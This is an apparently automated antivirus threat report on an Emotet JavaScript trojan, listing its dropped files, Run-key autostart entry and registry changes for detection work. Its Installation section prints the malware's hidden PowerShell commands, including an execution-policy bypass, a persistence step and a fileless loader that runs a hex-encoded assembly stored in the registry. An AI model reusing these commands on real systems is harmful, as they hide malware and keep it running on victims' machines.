Trojan.JS.EMOTET.GADAS

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\{malware file name}',[System.IO.File]::ReadAllText('{malware file path and name}'));wscript '%Application Data%\{malware file name}'"
• powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\{malware file name}',[System.IO.File]::ReadAllText('{malware file path and name}'));wscript '%Application Data%\{malware file name}'"
• "%System%\wscript.exe" %Application Data%\{malware file name}
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value '%Application Data%\{malware file name}' -PropertyType String -Force;"
• powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value '%Application Data%\{malware file name}' -PropertyType String -Force;"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\{malware file name}',[System.IO.File]::ReadAllText('%Application Data%\{malware file name}'))"
• powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\{malware file name}',[System.IO.File]::ReadAllText('%Application Data%\{malware file name}'))"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
• powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
microsoft = "%Application Data%\{malware file name}"

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft
microsoft = "{random characters}"

Dropping Routine

This Trojan drops the following files:

• %User Startup%\{malware file name}
• %Application Data%\{malware file name}

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

This report is generated via an automated analysis system.